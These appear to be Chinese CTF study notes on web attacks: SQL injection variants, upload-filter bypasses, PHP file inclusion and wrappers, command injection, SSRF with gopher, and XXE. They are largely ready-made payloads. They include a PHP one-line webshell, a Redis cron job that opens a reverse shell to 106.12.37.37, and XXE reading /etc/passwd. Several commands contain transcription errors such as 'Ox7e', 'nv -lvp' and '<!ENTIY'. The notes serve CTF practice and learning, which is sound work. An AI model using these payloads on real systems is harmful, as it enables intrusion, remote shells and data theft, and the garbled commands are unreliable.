CTF入门
解题形式的题型
misc 杂项 隐写术
ppc 编程
crypto 密码学
reverse 逆向
pwn 程序逻辑分析
web
找地方练练手:
合天
http://www.hetianlab.com/
实验吧
http://www.shiyanbar.com/ctf/
春秋
https://www.ichunqiu.com/
Bugku
http://ctf.bugku.com/
Xctf平台
http://oj.xctf.org.cn/
蓝鲸安全
http://whalectf.xin/
Jarvis O]
https://www.jarvisoj.com/
宽字节注入
常见的url转码
空格 %20
' %27
# %23
\ %5c
绕过php中的addslashes函数
1.在\前面再加上一个\
2.把\弄没
原理
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候
会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
在反斜线前面加个 %df%5c 就能绕过了
基于约束攻击的简单介绍(情况很少见)
mysql数据库有个特点,就是在没有进行约束的情况下,插入的数据如果大于三十个长度,那就会被截断掉。
假设插入的数据是 0123456789012345678901234567890123456789
那么最终插入的结果是 012345678901234567890123456789
会发现三十个往后的数据都被截断了,那么这个漏洞就可以利用到注册登录系统中了
假设一个后台管理系统管理员登录密码是admin,密码并不知道,那么此时就可以注册一个账号
注册的账号为 admin后面接多个空格,反正就是要高于30,然后最后一个为任意,密码由自己设定
例如:admin 1
密码是:123456
那么此时就可以用自己刚注册的账号登录到管理员界面。
报错注入
方式一:floor(rand((0)*2)
公式:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
rand0函数生成0~1的函数,使用floor函数向下取整,值是固定的“0”,我们将rand*2,得到的值就是不固定的,“0”或者“1”
方式二:
updatexml 函数
or updatexml(1,concat(Ox7e,(version()),0)
updatexml第二个参数需要的是Xpath:格式的字符串。输入
不符合,因此报错
updatexml的最大长度是32位的
其他:
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from(select user()a));
如果在sql输入时 = 被处理掉了,无法识别,那就查找替代等于号的方法,比如like ,正则[regexp] !(<>) 等等
username updatexml
password()
exp()
基于时间的盲注
sleep() 时间延迟函数
配合if条件触发
select * from user where username = 'a' or if(1,1,0)
便可以查到数据,其中 username = 'a' 的a是不存在,不存在也没有关系,因为后面跟着 or 判断,1永远等于1,所以就可以查出数据
截取函数
substring() substr()
substr('要截取的数据',截取起始位置,向后截取几位字符串)
substring() 也有与substr函数的同样效果,不过不同的是,它还有其他用法
substring("要截取的数据",截取的起始位置)
这样它就会从 截取的起始位置向后把所有数据取出来
也可以这样写
substring("要截取的数据" from 截取的起始位置)
substring("要截取的数据" from 截取的起始位置 for 向后截取几位字符串)
条件语句查询
select case when username='admin' then 'admin' else 'xxx' end from user;
如果查询中的数据是admin,那就返回admin,否则就返回xxx
配合时间注入
select case when username='admin' then (sleep()) else 'xxx' end from user;
假设database()的值是sectest
然而s对应的ascii的值是115,那么就可以基于这两者进行时间型盲注了
select * from user where id=1 and (if(ascii(substr(database(),1,1))=115,sleep(3),null))
那么如果延迟了三秒,就说明database()的第一个字符是s了
BENCHMARKO)函数重复count次执行表达式expr。它可以被用于
计算MySQL处理表达式的速度。结果值通常为0。
select benchmark(10000000,sha(1));
应用:select * from user where id=1 and (if(ascii(substr(database(),1,1))=115,benchmark(10000000,sha(1)),null));
其他方式的时间延迟,好处就是容易过检测
select count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;
就是查询 information_schema.columns 中的数据,并且起个别名,例如第一个别名就是A ,那么第二个别名就是B,依次类推,而每一次别名都会触发count(*)函数,假设information_schema.columns 中有100条数据,那么四次别名,那就是100的4次方次查询,那么查询速度就会大幅度下降,从而达成时间延迟的目的
bool型盲注
mid(要提取的数据,开始截取的位置,往后截取几位) 截取函数
left("要取的字符串",要取多少位) :从左边开始截取
right("要取的字符串",要取多少位): 从右边开始截取
ascii(要转换的字符),但只会返回第一个字符
ord(要转换的字符),但只会返回第一个字符
如果说有些账号密码,验证的逻辑是分开验证,那么就可以用boll盲注的形式 获取秘密
原理就是,分别截取输入的密码,一个个进行判断,如果正确就不会提示
& userid=(ascii(substr(select password from user) from %d for 1)) = %d & password=1
order by 注入
Order by可以根据多列排序,因此注入的语句不一定限制与
order by的第一个参数,也可以通过逗号去对新的列进行注
入。
根据不同的列排序,会返回不同的结果,因此这里其实可以
使用类似于boo型盲注的形式来注入,即使判断的结果与某
种返回内容相关联,来实现注入,同理,在boo型注入可以
的情况下,一般也能使用基于时间的盲注
asc 升序
desc 降序
order by 要排序的字段
例如:select * from data1 order by if(0,name,sleep(2))
select * from data1 order by id|if(1,2,1)
|(select (select flag from leve1_flag) regexp '^bs')+1
插入型注入
insert into data1 (id,name,year) values('','attacker' or updatexm(1,concat(0x7e,database()),0),10)
update 注入
update data1 set year =11 or updatexml(1,concat(0x7e,database()),0) where id=7
delete注入
delete from data1 where id=6 or sleep(3)
desc相关注入
DESCRIBE提供有关一个表的列信息。col_name可以是一个
列名或是一个包含SQL通配符字符“%”
和
“”的字符
串。
用法:desc 数据表 字段
url/?table=test' union select table_name from information_schema.tables where table_schema=database() limit 1 offset 1
假设查出来的是secret_flag
将secret_flag 进行 十六进制转码,结果为 7365637265745f666c6167
flagUwillNeverKnow
url/?table=test' union select table_name from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1
假设查询出来的数据是 flagUwillNeverKnow
url/?table=test' union select flagUwillNeverKnow from secret_flag limit 1 offset 1
然后就可以出flag了
万能密码
select * from user where username = ''+'' and password = ''+'';
或者
select * from user where username = 0 and password = 0;
或者
select * from user where username = 'aaa'+'' and password = 'aaa'+'';
mysql 数据库中\N 等同于 NULL
文件上传系列
客户端校验(javascript 校验)
绕过方式
1.抓包改包
2.禁用js,可以使用插件
服务器端校验
MIME 类型检测 (Content-Type: 检测)
·扩展名:gif
MIME类型:image/gif
·扩展名:png
MIME类型:image/png
·扩展名:jpg
MIME类型:image/jpeg
扩展名:js
MIME类型:text/javascript
·扩展名:htm
MIME类型:text/html
·扩展名:html MIME类型:text/html
如果要上传php文件
就可以改为 image/gif
然后修改文件扩展名
服务器端校验(黑名单校验)
后台逻辑,直接获取上传的后缀名进行判断
绕过方法:
大小写方法
利用黑名单没有的
%00截断 这种情况出现在老版本的浏览器,所以出现的概论极低:
用burp抓取到数据包后,修改数据包中的变量,例如filename= 或者路径,给其中添加一个空格,为什么要加空格呢,因为空格转化成十六进制后,是20,所以为了产生截断,就将整个数据包都转为十六进制,那么带来的结果就是看不懂,哪个对应哪个,那么此时用20作为标识符,就能大概的猜测到大概位置,然后将20改为00,达到效果。
服务端白名单校验
满足后端的后缀名,例如后端只允许接受png上传的文件,而我们手里的是phpinfo.php文件,那我们上传的时候抓包,然后再修改为phpinfo.php.png,那么此时就可以通过浏览器直接访问该文件,由于php本身的一些容错率,所以导致.php.png结尾的文件也能执行php代码。
内容头校验
getimagesize 获取图像大小的php函数
getimagesize 函数将测定任何GlE,JPG,PNG,SWE,SWC,PSD,TIFE,BMP,IFE,P2,JPX,B2,PC,XBM或WBMP图像文件的大小并返
回图像的尺寸以及文件类型和一个可以用于普通HTML文件中IMG标记中的height/.width文本字符串。
如果不能访问filename指定的图像或者其不是有效的图像,getimagesize0将返回FALSE并产生一条E_WARNING
级的错误。
JPEG (jpg),
文件头:FFD8FF
文件尾:FFD9
PNG (png),
文件头:89504E47
文件尾:AE426082
GIF(gif),
文件头:47494638
文件尾:003B
ZIP Archive (zip),
文件头:504B0304
文件尾:504B
TIFF (tif),
文件头:49492A00
文件尾:
Windows Bitmap (bmp),
文件头:424D
文件尾:
CAD (dwg),
文件头:41433130
文件尾:
Adobe Photoshop (psd),
文件头:38425053
文件尾:
Rich Text Format (rtf),
文件头:7B5C727466
文件尾:
XML (xml),
文件头:3C3F786D6C
文件尾:
HTML (html),
文件头:68746D6C3E
Email [thorough only](eml).
文件头:44656C69766572792D646174653A
Outlook Express (dbx),
文件头:CFAD12FEC5FD746F
Outlook (pst),
文件头:2142444E
MS Word/Excel (xls.or.doc),
文件头:D0CF11E0
MS Access (mdb),
文件头:5374616E64617264204A
WordPerfect (wpd),
文件头:FF575043
Adobe Acrobat (pdf),
文件头:255044462D312E
Quicken (qdf),
文件头:AC9EBD8F
Windows Password (pwl),
文件头:E3828596
RAR Archive (rar),
文件头:52617221
Wave (wav),
文件头:57415645
AVI(avi),
文件头:41564920
Real Audio (ram),
文件头:2E7261FD
Real Media(rm),
文件头:2E524D46
MPEG(mpg),
文件头:000001BA
MPEG (mpg),
文件头:000001B3
Quicktime (mov),
文件头:6D6F6F76
Windows Media (asf),
文件头:3026B2758E66CF11
MIDI (mid),
文件头:4D546864
绕过方法:
在恶意脚本前加上允许上传文件的头标识
例如
GIF89a
<?phpinfo()
?>
竞争上传(逻辑上的错误)
目标服务器,先将上传的文件保存到本地,然后进行读取该文件的内容,如果不符合要求,再删除
也就是保存到本地(写入) 这步出现了漏洞
·趁代码不注意,赶紧访问啊!
(在删掉之前方问到就可以了)
或者写脚本,反正就是比谁快
文件包含系列
文件包含
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调
用的过程称文件包含
文件包含漏洞
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调
用一个恶意文件,造成文件包含漏洞
也就是一些程序语言的导包操作造成的漏洞,例如 include,import
php中的相关函数
include()
include_once()
require()
require_once()
还可以分别本地包含与远程包含
包含的时候,不一定是要去包含php文件(即非可执行的php文件)
类似于
a.phps
a.XXX
a.jpg
只要里头包含一块完整php代码
例如一个a.txt,内容为<?php phpinfo();?>
当使用include_once(),include,require_once(),require_once()这些函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核不会在意该被包含的文件的什么类型,不管包含的.txt文件,图片文件,远程URL,也都会作为PHP代码执行
文件包含题目的网址
url/?file=hello.php
这里的hello.php 可以改为 /etc/passwd
那么就可以读取 /etc/passwd 文件
其实就是file 等于什么,就可以执行或者查看什么文件
远程文件包含的条件
allow url fopen
本选项激活了URL形式的fopen封装协议使得可以访问URL对象例如文件。默认
的封装协议提供用ftp和http协议来访问远程文件,一些扩展库例如zlib可能
会注册更多的封装协议。
allow url_include
This option allows the use of URL-aware fopen wrappers with the following
functions:include,include once,require,require once.
Note:
This setting requires allow url fopen to be on.
远程文件包含
[http https ftp]://www.bbb.com/shell.txt
若后缀名写死,可以用?绕过
zip文件上传
首先本地将文件压缩成压缩包,然后上传
然后在网址后面添加?file=zip://目标服务器的文件上传的路径/上传的文件名(也许是url编码之后,目标服务器处理过).zip%23上传的文件名
?file=phar://目标服务器的文件上传的路径/上传的文件名(也许是url编码之后).zip/phpinfo
伪协议
php://filter
以十六进制的方式读取文件:
?file=php://filter/convert.base64-encode/resource=index.php
php://input
可以读取没有处理过的POST数据。
利用条件:
allow_url_include=On。
对allow_url_fopen不做要求。
url/?key=123&flag=php://input
然后发送post请求,携带任意参数,例如123
session
一般遇到登录注册的题目,就可以考虑session的注入,结合phpinfo查看session的存储位置,然后可以尝试用file=../../../sess_xxxx
php默认生成的session文件往往存放在/tmp 目录下
session.upload_progress.enabled这个参数在php.ini默认开启,需要手动置
为O仟,如果不是O仟,就会在上传的过程中生成上传进度文件,它的存储路径可
以在phpinfo获取到
/var/lib/php5/sess_fyour_php_session_id)
本来每次新生成的session文件的文件名都是不可控的,但是设置了PHPSESSID 和 PHP_SESSION_UPLOAD_PROGRESS 便由PHPSESSID的值为命名了,但是内容还是不可控的
例如:curl http://172.16.206.100/hitcon/ -H 'Cookie:PHPSESSID=iamnotarange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'
http://106.12.37.37:10009/?orange=php://filter/convert.base64-decode|convert.base64-decode | convert.base64-decode/resource=/var/lib/php/sessions/sess_iamnotorange
再结合burp进行多次访问,让目标服务器反应不过来,就会产生session在短时间内不被删除,只要在终端不停的cat,总会得到结果
http://172.16.206.100/hitcon/?orange=/tmp/web
post参数:1=phpinfo();
(扩展,curl url -x 127.0.0.0:8080 便可设置代理)
三次base64解码之后,字符串就会减少
php自包含使用场景
形式:/a.php?include=a.php
这样a.php会将它本身包含进来,而被包含进来的a.php再次尝试处理url的包含请求
时,再次将自己包含进来,形成了无穷递归,递归会导致爆栈,使php无法进行此次
请求的后续处理
php上传会生成临时文件,会话结束删除临时文件
phpinfo() 获取临时文件名
自包含,导致php停止,就无法删除文件,那么文件就留下了了
本地文件包含漏洞可以让php包含自身从而导致死循环
然后php就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会
被保留
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
代码注入执行
由于没有针对代码中可执行的特殊函数入口做过滤,
导致用户可以提交恶意语句,并交由服务器端执行。
代码/命令注入攻击中Web服务器没有过滤类似
system(),eval(),exec()等函数的传入参数是该漏洞攻击成功
的最主要原因。
php能够执行命令的相关函数
eval("php代码");
例如:eval("phpinfo();");
一句话木马:
<?php eval($_POST[1]); ?>
assert()函数
call_user_func('assert','phpinfo'); 函数
匿名函数
$a = create_function("$code","echo $code;");
也就是下面的的代码简写
function a($code){
echo $code;
}
a('123');
php命令注入
与代码注入的区别就是,可以执行系统命令
system('要执行的系统命令')
例如:system('pwd')
var_dump(exec('要执行的系统命令'))
这个函数只能显示出命令输出的最后一行,例如,var_dump(exec('ifconfig')) 输出结果为空,是因为它所输出的结果为多行,恰好最后一行是空,所以这个函数返回的是空值
passthru('要执行的命令')
这个函数可以打印出输出的所有信息
echo shell_exec('要执行的命令')
`要执行的命令` (用两个反引号,但效果不佳)
命令执行的绕过函数技巧:
sys_rce.php中的内容
<?php
$rce = "echo";
system($rce.$_GET[1]);
?>
连续执行命令的技巧:
%0a 换行符
; 分号
& 后台进程
| 管道符
地址栏输入
http://ip/sys_rce.php?1=123%0apwd
那么就会显示123 以及 当下目录下的工作路径
多命令参数执行
例如:原本命令参数是:cat xx.php
但是考虑到在对方的服务器后台做了过滤,导致空格无法被解析,所以就可以用到{$IFS}
cat{$IFS}xx.php
%09代替空格的作用,用于url传递
例如:cat%09xx.php
将命令做base64加解码
`echo base64之后的命令 -D`
echo "${系统命令:截取的第一个字符:到要截取的最后一位字符}"
例如:echo "${PATH:0:1}"
那就是截取path系统命令执行的返回值的第一个字符
命令回显的情况
判断有无回显:
延时 HTTP请求 DNS请求
1.延时情况
在url中输入 例如:
?变量=ls|sleep 3
如果延迟了三秒就说明有回显效果
2.HTTP请求
首先终端执行 nv -lv 8000 监听端口
然后在url中:?xx|curl ip或域名:8000
然后发起get请求,查看刚刚监听端口的终端,如果有回显就说明命令能够执行
通过url参数读取 不能读取的文件
在apache中,如果文件不能被解析,那么就会直接读取文件中的内容,例如php文件能被解析,那么就不能直接读取内容,但是txt文件不能被解析,那就能直接读取内容
要是如果说一道题目存在命令注入的漏洞,就可以利用cp命令,将php文件另存为txt文件,从而到达读取php文件内容的效果
?变量=;cp xxx.php xx.txt
可控字符串长度受限情况
15个字符
echo \< ?> 1
mv 1 1.php
<?php
eval(
$_GET
[1]
);
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
访问:url/1.php?1=phpinfo()
七位字符
任意字符 >> 文件名:虽然会报错,但是也会生成一个空文件
例如:l>>a
在linux中,命令可以作长命令换行分割
例如:原本的正常命令是ls,但是也可以作切割:
l\
s
这样也实现了同ls的功能
ls -t 可以查看排序后的文件
sh 文件名:可以执行改文件
综合利用:
w>>0\ \\
w>>ech\\
ls -t >0
sh 0
echo * :列出当前所有为文件名并连接成字符串
rev 文件名:将文件中的每行字符作逆序
无字母数字getshell
突破点:生成字母
思路:
将非字母、数字的字符经过各种变换,最后能构造a-z中任意一个字符
序列化和反序列化
序列化:
将一个变量的数据"转换为"字符串,但并不是类型转换,目的是将该字符串
存储在本地。相反的行为称为反序列化。
序列化和反序列化的目的是使得程序间传输对象会更加方便。
就是,将内存的变量数据,“保存”到文件中的持久数据的过程
简化就是:将内存变为文件:
反序列化:
就是,将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式
的过程。
简化就是:将文件变为内存
php序列化相关函数
serialize()
反序列化函数
unserialize()
魔术方法
PHP中把以两个下划线开头的方法称为魔术方法(Magic methods)
x00+类名+x00+变量名反序列化出来的是private变量
x00+*+x00+变量名反序列化出来的是protected变量
直接变量名反序列化出来的是public变量
ssrf漏洞
SSRF(Server--Side Request Forgery),服务器端请求伪造,利用漏洞伪造
服务器端发起请求,从而突破客户端获取不到数据限制。
对外发起网络请求的地方都可能存在SSRF漏洞
简单来说,就是:
正常的网络架构是,一台连接外网的服务器,一台连接内网的服务器,然后这两台服务器是可以进行相互通讯,但是对于用户来说,就有防火墙限制。
也就是说,用户向目标网站发起请求,请求的是连接外网的服务器,而不是内网的服务器,这就导致了用户访问不到敏感的信息,因为敏感的信息存在内网中,那么这时候,如果拿下外网的服务器,那么就可以将外网服务器作为跳板机,利用外网服务器向内网发起请求,来获取敏感数据。
危害:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
2.攻击运行在内网或本地的应用程序(比如溢出)
3.对内网Web应用进行指纹识别,通过访问默认文件实现
4.攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如
Struts2漏洞利用,SQL注入等)
5.利用File协议读取本地文件
如何判断ssrf的漏洞存在
1.回显
例如:进行百度搜索的时候,就能马上得到响应数据
2.延时
例如:进行谷歌搜索的时候,不能马上得到响应数据
3.dns请求
例如:利用ceye平台测试dns请求
http://ceye.io/
php相关函数
file_get_contents()
将整个文件读入一个字符串
读取url的文件,例如图片的网址
fsockopen()
打开一个网络连接或者一个unix套接字连接
curl_exec()
执行cURL会话
ssrf绕过:
1.添加端口
2.短网址:可以用生成短网址的平台生成
指向任意ip的域名xip.io
3.ip限制绕过:
十进制/八进制/十六进制/不同进制间的转换
http://进制转换
4.302跳转
5.结合dict:// 、file:// 、goher:// 协议
6.http://www.baidu.com@127.0.0.1
gopher协议
gopher是一个互联网上使用的分布型的文件搜集获
取网络协议
gophert协议支持发出GET、PoST请求:可以先截获
get请求包和post请求包,再构造成符合gopher协议
的请求。gophert协议是ssrf利用中一个最强大的协议
(俗称万能协议)
gopher对redis的应用
前提条件:没有密码
cron 反弹shell
利用redis来创建进程
新开一个终端,用于监听
nv -lvp 2444
首先登录到redis
redis-cli
设置定时任务
set "\n*/1 * * * * /bin/bash -i >& /dev/tcp/106.12.37.37/2444 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save
quit
cat root
回到监听终端,等待一会,会发现反弹shell成功了。
流量转发
socat -v tcp-listen:4444,fork tcp-connect:localhsot:6379
原生的curl和curl_exec 不支持gopher协议的
gopher协议对mysql的应用
前提条件:没有密码
在输入框中输入:file://127.0.0.1/var/www/html/config.php
查看到了数据库的配置,就可以考虑gopher对mysql的利用
首先先用常规的命令行的方式登录一遍mysql数据库然后退出,并且集合wineshark抓包
curl 'gopher://127.0.0.1:3306/_抓取数据包的url编码形式(%xx)+数据包长度(url编码之后)'
工具:
Gopherus
GitHub下载地址:https://github.com/tarunkant/Gopherus
命令使用:
python gopherus.py --exploit mysql
输入数据库登录的用户名
输入数据库查询语句
然后就会生成gopher语句,然后复制下来,放在输入框中执行。
xxe漏洞利用
XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入。
xml基础知识
简单了解XML:
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构
语法:
XML元素都必须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
大概样式
<?xml version="1.0"
encoding="IS0-8859-1"?>
<note>
<to>Georges/to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD 文档类型定义
作用是定义xml文档的合法定义
抓取数据包,将原先的xml数据改为以下代码到请求包中
<?xml version="1.0.7">
<!DOCTYPE mail[
<!ENTIY hacker SYSTEM "file:///etc/passwd">
]>
<message>&hacker;</message>
这样就实现了文件读取
弱类型问题
强类型是指定义变量时,要先定义数据类型,而弱类型是指定义变量时,不需要定义数据类型
== 比较的是两个变量的值
=== 比较的是两个变量的值和数据类型